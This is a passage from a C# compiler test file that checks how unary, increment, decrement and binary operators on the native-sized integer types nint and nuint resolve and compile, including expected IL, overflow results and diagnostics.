IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: not
IL_001d: newobj ""nint?..ctor(nint)""
IL_0022: ret
}");
unaryOp("~", "nuint?", "nuint nuint.op_OnesComplement(nuint value)", "3", getComplement(3),
@"{
// Code size 35 (0x23)
.maxstack 1
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: not
IL_001d: newobj ""nuint?..ctor(nuint)""
IL_0022: ret
}");
unaryOp("~", "System.IntPtr?");
unaryOp("~", "System.UIntPtr?");
void unaryOperator(string op, string opType, string resultType, string expectedSymbol, string operand, string expectedResult, string expectedIL, DiagnosticDescription[] expectedDiagnostics)
{
string source =
$@"class Program
{{
static {resultType} Evaluate({opType} operand)
{{
return {op}operand;
}}
static void Main()
{{
System.Console.WriteLine(Evaluate({operand}));
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var expr = tree.GetRoot().DescendantNodes().OfType<PrefixUnaryExpressionSyntax>().Single();
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
var verifier = CompileAndVerify(comp, expectedOutput: expectedResult);
verifier.VerifyIL("Program.Evaluate", expectedIL);
}
}
}
[Fact]
public void IncrementOperators()
{
void incrementOps(string op, string opType, string expectedSymbol = null, bool useChecked = false, string values = null, string expectedResult = null, string expectedIL = "", string expectedLiftedIL = "", DiagnosticDescription diagnostic = null)
{
incrementOperator(op, opType, isPrefix: true, expectedSymbol, useChecked, values, expectedResult, expectedIL, getDiagnostics(opType, isPrefix: true, diagnostic));
incrementOperator(op, opType, isPrefix: false, expectedSymbol, useChecked, values, expectedResult, expectedIL, getDiagnostics(opType, isPrefix: false, diagnostic));
opType += "?";
incrementOperator(op, opType, isPrefix: true, expectedSymbol, useChecked, values, expectedResult, expectedLiftedIL, getDiagnostics(opType, isPrefix: true, diagnostic));
incrementOperator(op, opType, isPrefix: false, expectedSymbol, useChecked, values, expectedResult, expectedLiftedIL, getDiagnostics(opType, isPrefix: false, diagnostic));
DiagnosticDescription[] getDiagnostics(string opType, bool isPrefix, DiagnosticDescription diagnostic)
{
if (expectedSymbol == null && diagnostic == null)
{
diagnostic = Diagnostic(ErrorCode.ERR_BadUnaryOp, isPrefix ? op + "operand" : "operand" + op).WithArguments(op, opType);
}
return diagnostic != null ? new[] { diagnostic } : Array.Empty<DiagnosticDescription>();
}
}
incrementOps("++", "nint", "nint nint.op_Increment(nint value)", useChecked: false,
values: $"{int.MinValue}, -1, 0, {int.MaxValue - 1}, {int.MaxValue}",
expectedResult: $"-2147483647, 0, 1, 2147483647, {(IntPtr.Size == 4 ? "-2147483648" : "2147483648")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "nuint", "nuint nuint.op_Increment(nuint value)", useChecked: false,
values: $"0, {int.MaxValue}, {uint.MaxValue - 1}, {uint.MaxValue}",
expectedResult: $"1, 2147483648, 4294967295, {(IntPtr.Size == 4 ? "0" : "4294967296")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "System.IntPtr");
incrementOps("++", "System.UIntPtr");
incrementOps("--", "nint", "nint nint.op_Decrement(nint value)", useChecked: false,
values: $"{int.MinValue}, {int.MinValue + 1}, 0, 1, {int.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? "2147483647" : "-2147483649")}, -2147483648, -1, 0, 2147483646",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "nuint", "nuint nuint.op_Decrement(nuint value)", useChecked: false,
values: $"0, 1, {uint.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? uint.MaxValue.ToString() : ulong.MaxValue.ToString())}, 0, 4294967294",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "System.IntPtr");
incrementOps("--", "System.UIntPtr");
incrementOps("++", "nint", "nint nint.op_Increment(nint value)", useChecked: true,
values: $"{int.MinValue}, -1, 0, {int.MaxValue - 1}, {int.MaxValue}",
expectedResult: $"-2147483647, 0, 1, 2147483647, {(IntPtr.Size == 4 ? "System.OverflowException" : "2147483648")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add.ovf
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add.ovf
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "nuint", "nuint nuint.op_Increment(nuint value)", useChecked: true,
values: $"0, {int.MaxValue}, {uint.MaxValue - 1}, {uint.MaxValue}",
expectedResult: $"1, 2147483648, 4294967295, {(IntPtr.Size == 4 ? "System.OverflowException" : "4294967296")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add.ovf.un
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add.ovf.un
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "System.IntPtr", null, useChecked: true);
incrementOps("++", "System.UIntPtr", null, useChecked: true);
incrementOps("--", "nint", "nint nint.op_Decrement(nint value)", useChecked: true,
values: $"{int.MinValue}, {int.MinValue + 1}, 0, 1, {int.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? "System.OverflowException" : "-2147483649")}, -2147483648, -1, 0, 2147483646",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub.ovf
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub.ovf
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "nuint", "nuint nuint.op_Decrement(nuint value)", useChecked: true,
values: $"0, 1, {uint.MaxValue}",
expectedResult: $"System.OverflowException, 0, 4294967294",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub.ovf.un
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub.ovf.un
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "System.IntPtr", null, useChecked: true);
incrementOps("--", "System.UIntPtr", null, useChecked: true);
void incrementOperator(string op, string opType, bool isPrefix, string expectedSymbol, bool useChecked, string values, string expectedResult, string expectedIL, DiagnosticDescription[] expectedDiagnostics)
{
var source =
$@"using System;
class Program
{{
static {opType} Evaluate({opType} operand)
{{
{(useChecked ? "checked" : "unchecked")}
{{
{(isPrefix ? op + "operand" : "operand" + op)};
return operand;
}}
}}
static void EvaluateAndReport({opType} operand)
{{
object result;
try
{{
result = Evaluate(operand);
}}
catch (Exception e)
{{
result = e.GetType();
}}
Console.Write(result);
}}
static void Main()
{{
bool separator = false;
foreach (var value in new {opType}[] {{ {values} }})
{{
if (separator) Console.Write("", "");
separator = true;
EvaluateAndReport(value);
}}
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var kind = (op == "++") ?
isPrefix ? SyntaxKind.PreIncrementExpression : SyntaxKind.PostIncrementExpression :
isPrefix ? SyntaxKind.PreDecrementExpression : SyntaxKind.PostDecrementExpression;
var expr = tree.GetRoot().DescendantNodes().Single(n => n.Kind() == kind);
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
var verifier = CompileAndVerify(comp, expectedOutput: expectedResult);
verifier.VerifyIL("Program.Evaluate", expectedIL);
}
}
}
[Fact]
public void IncrementOperators_RefOperand()
{
void incrementOps(string op, string opType, string expectedSymbol = null, string values = null, string expectedResult = null, string expectedIL = "", string expectedLiftedIL = "", DiagnosticDescription diagnostic = null)
{
incrementOperator(op, opType, expectedSymbol, values, expectedResult, expectedIL, getDiagnostics(opType, diagnostic));
opType += "?";
incrementOperator(op, opType, expectedSymbol, values, expectedResult, expectedLiftedIL, getDiagnostics(opType, diagnostic));
DiagnosticDescription[] getDiagnostics(string opType, DiagnosticDescription diagnostic)
{
if (expectedSymbol == null && diagnostic == null)
{
diagnostic = Diagnostic(ErrorCode.ERR_BadUnaryOp, op + "operand").WithArguments(op, opType);
}
return diagnostic != null ? new[] { diagnostic } : Array.Empty<DiagnosticDescription>();
}
}
incrementOps("++", "nint", "nint nint.op_Increment(nint value)",
values: $"{int.MinValue}, -1, 0, {int.MaxValue - 1}, {int.MaxValue}",
expectedResult: $"-2147483647, 0, 1, 2147483647, {(IntPtr.Size == 4 ? "-2147483648" : "2147483648")}",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: add
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nint nint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: add
IL_0025: newobj ""nint?..ctor(nint)""
IL_002a: stobj ""nint?""
IL_002f: ret
}");
incrementOps("++", "nuint", "nuint nuint.op_Increment(nuint value)",
values: $"0, {int.MaxValue}, {uint.MaxValue - 1}, {uint.MaxValue}",
expectedResult: $"1, 2147483648, 4294967295, {(IntPtr.Size == 4 ? "0" : "4294967296")}",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: add
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nuint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nuint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nuint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nuint nuint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: add
IL_0025: newobj ""nuint?..ctor(nuint)""
IL_002a: stobj ""nuint?""
IL_002f: ret
}");
incrementOps("--", "nint", "nint nint.op_Decrement(nint value)",
values: $"{int.MinValue}, {int.MinValue + 1}, 0, 1, {int.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? "2147483647" : "-2147483649")}, -2147483648, -1, 0, 2147483646",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: sub
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nint nint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: sub
IL_0025: newobj ""nint?..ctor(nint)""
IL_002a: stobj ""nint?""
IL_002f: ret
}");
incrementOps("--", "nuint", "nuint nuint.op_Decrement(nuint value)",
values: $"0, 1, {uint.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? uint.MaxValue.ToString() : ulong.MaxValue.ToString())}, 0, 4294967294",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: sub
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nuint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nuint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nuint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nuint nuint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: sub
IL_0025: newobj ""nuint?..ctor(nuint)""
IL_002a: stobj ""nuint?""
IL_002f: ret
}");
void incrementOperator(string op, string opType, string expectedSymbol, string values, string expectedResult, string expectedIL, DiagnosticDescription[] expectedDiagnostics)
{
string source =
$@"using System;
class Program
{{
static void Evaluate(ref {opType} operand)
{{
{op}operand;
}}
static void EvaluateAndReport({opType} operand)
{{
object result;
try
{{
Evaluate(ref operand);
result = operand;
}}
catch (Exception e)
{{
result = e.GetType();
}}
Console.Write(result);
}}
static void Main()
{{
bool separator = false;
foreach (var value in new {opType}[] {{ {values} }})
{{
if (separator) Console.Write("", "");
separator = true;
EvaluateAndReport(value);
}}
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var kind = (op == "++") ? SyntaxKind.PreIncrementExpression : SyntaxKind.PreDecrementExpression;
var expr = tree.GetRoot().DescendantNodes().Single(n => n.Kind() == kind);
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
var verifier = CompileAndVerify(comp, expectedOutput: expectedResult);
verifier.VerifyIL("Program.Evaluate", expectedIL);
}
}
}
[Fact]
public void UnaryOperators_UserDefined()
{
string sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public struct IntPtr
{
public static IntPtr operator-(IntPtr i) => i;
}
}";
string sourceB =
@"class Program
{
static System.IntPtr F1(System.IntPtr i) => -i;
static nint F2(nint i) => -i;
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp, emitOptions: EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0"), verify: Verification.Skipped);
verifier.VerifyIL("Program.F1",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.IntPtr System.IntPtr.op_UnaryNegation(System.IntPtr)""
IL_0006: ret
}");
verifier.VerifyIL("Program.F2",
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: neg
IL_0002: ret
}");
}
[Theory]
[InlineData("nint")]
[InlineData("nuint")]
[InlineData("nint?")]
[InlineData("nuint?")]
public void UnaryAndBinaryOperators_UserDefinedConversions(string type)
{
string sourceA =
$@"class MyInt
{{
public static implicit operator {type}(MyInt i) => throw null;
public static implicit operator MyInt({type} i) => throw null;
}}";
string sourceB =
@"class Program
{
static void F(MyInt x, MyInt y)
{
++x;
x++;
--x;
x--;
_ = +x;
_ = -x;
_ = ~x;
_ = x + y;
_ = x * y;
_ = x < y;
_ = x & y;
_ = x << 1;
}
}";
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,9): error CS0023: Operator '++' cannot be applied to operand of type 'MyInt'
// ++x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "++x").WithArguments("++", "MyInt").WithLocation(5, 9),
// (6,9): error CS0023: Operator '++' cannot be applied to operand of type 'MyInt'
// x++;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "x++").WithArguments("++", "MyInt").WithLocation(6, 9),
// (7,9): error CS0023: Operator '--' cannot be applied to operand of type 'MyInt'
// --x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "--x").WithArguments("--", "MyInt").WithLocation(7, 9),
// (8,9): error CS0023: Operator '--' cannot be applied to operand of type 'MyInt'
// x--;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "x--").WithArguments("--", "MyInt").WithLocation(8, 9),
// (9,13): error CS0023: Operator '+' cannot be applied to operand of type 'MyInt'
// _ = +x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "+x").WithArguments("+", "MyInt").WithLocation(9, 13),
// (10,13): error CS0023: Operator '-' cannot be applied to operand of type 'MyInt'
// _ = -x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "-x").WithArguments("-", "MyInt").WithLocation(10, 13),
// (11,13): error CS0023: Operator '~' cannot be applied to operand of type 'MyInt'
// _ = ~x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "~x").WithArguments("~", "MyInt").WithLocation(11, 13),
// (12,13): error CS0019: Operator '+' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x + y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x + y").WithArguments("+", "MyInt", "MyInt").WithLocation(12, 13),
// (13,13): error CS0019: Operator '*' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x * y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x * y").WithArguments("*", "MyInt", "MyInt").WithLocation(13, 13),
// (14,13): error CS0019: Operator '<' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x < y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x < y").WithArguments("<", "MyInt", "MyInt").WithLocation(14, 13),
// (15,13): error CS0019: Operator '&' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x & y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x & y").WithArguments("&", "MyInt", "MyInt").WithLocation(15, 13),
// (16,13): error CS0019: Operator '<<' cannot be applied to operands of type 'MyInt' and 'int'
// _ = x << 1;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x << 1").WithArguments("<<", "MyInt", "int").WithLocation(16, 13));
}
[Fact]
public void BinaryOperators()
{
void binaryOps(string op, string leftType, string rightType, string expectedSymbol1 = null, string expectedSymbol2 = "", DiagnosticDescription[] diagnostics1 = null, DiagnosticDescription[] diagnostics2 = null)
{
binaryOp(op, leftType, rightType, expectedSymbol1, diagnostics1);
binaryOp(op, rightType, leftType, expectedSymbol2 == "" ? expectedSymbol1 : expectedSymbol2, diagnostics2 ?? diagnostics1);
}
void binaryOp(string op, string leftType, string rightType, string expectedSymbol, DiagnosticDescription[] diagnostics)
{
if (expectedSymbol == null && diagnostics == null)
{
diagnostics = getBadBinaryOpsDiagnostics(op, leftType, rightType);
}
binaryOperator(op, leftType, rightType, expectedSymbol, diagnostics ?? Array.Empty<DiagnosticDescription>());
}
static DiagnosticDescription[] getBadBinaryOpsDiagnostics(string op, string leftType, string rightType, bool includeBadBinaryOps = true, bool includeVoidError = false)
{
var builder = ArrayBuilder<DiagnosticDescription>.GetInstance();
if (includeBadBinaryOps) builder.Add(Diagnostic(ErrorCode.ERR_BadBinaryOps, $"x {op} y").WithArguments(op, leftType, rightType));
if (includeVoidError) builder.Add(Diagnostic(ErrorCode.ERR_VoidError, $"x {op} y"));
return builder.ToArrayAndFree();
}
static DiagnosticDescription[] getAmbiguousBinaryOpsDiagnostics(string op, string leftType, string rightType)
{
return new[] { Diagnostic(ErrorCode.ERR_AmbigBinaryOps, $"x {op} y").WithArguments(op, leftType, rightType) };
}
var arithmeticOperators = new[]
{
("-", "op_Subtraction"),
("*", "op_Multiply"),
("/", "op_Division"),
("%", "op_Modulus"),
};
var additionOperators = new[]
{
("+", "op_Addition"),
};
var comparisonOperators = new[]
{
("<", "op_LessThan"),
("<=", "op_LessThanOrEqual"),
(">", "op_GreaterThan"),
(">=", "op_GreaterThanOrEqual"),
};
var shiftOperators = new[]
{
("<<", "op_LeftShift"),
(">>", "op_RightShift"),
};
var equalityOperators = new[]
{
("==", "op_Equality"),
("!=", "op_Inequality"),
};
var logicalOperators = new[]
{
("&", "op_BitwiseAnd"),
("|", "op_BitwiseOr"),
("^", "op_ExclusiveOr"),
};
foreach ((string symbol, string name) in arithmeticOperators)
{
bool includeBadBinaryOps = (symbol != "-");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, (symbol == "-") ? $"void* void*.{name}(void* left, long right)" : null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint", includeBadBinaryOps: includeBadBinaryOps, includeVoidError: true));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, nint right)");
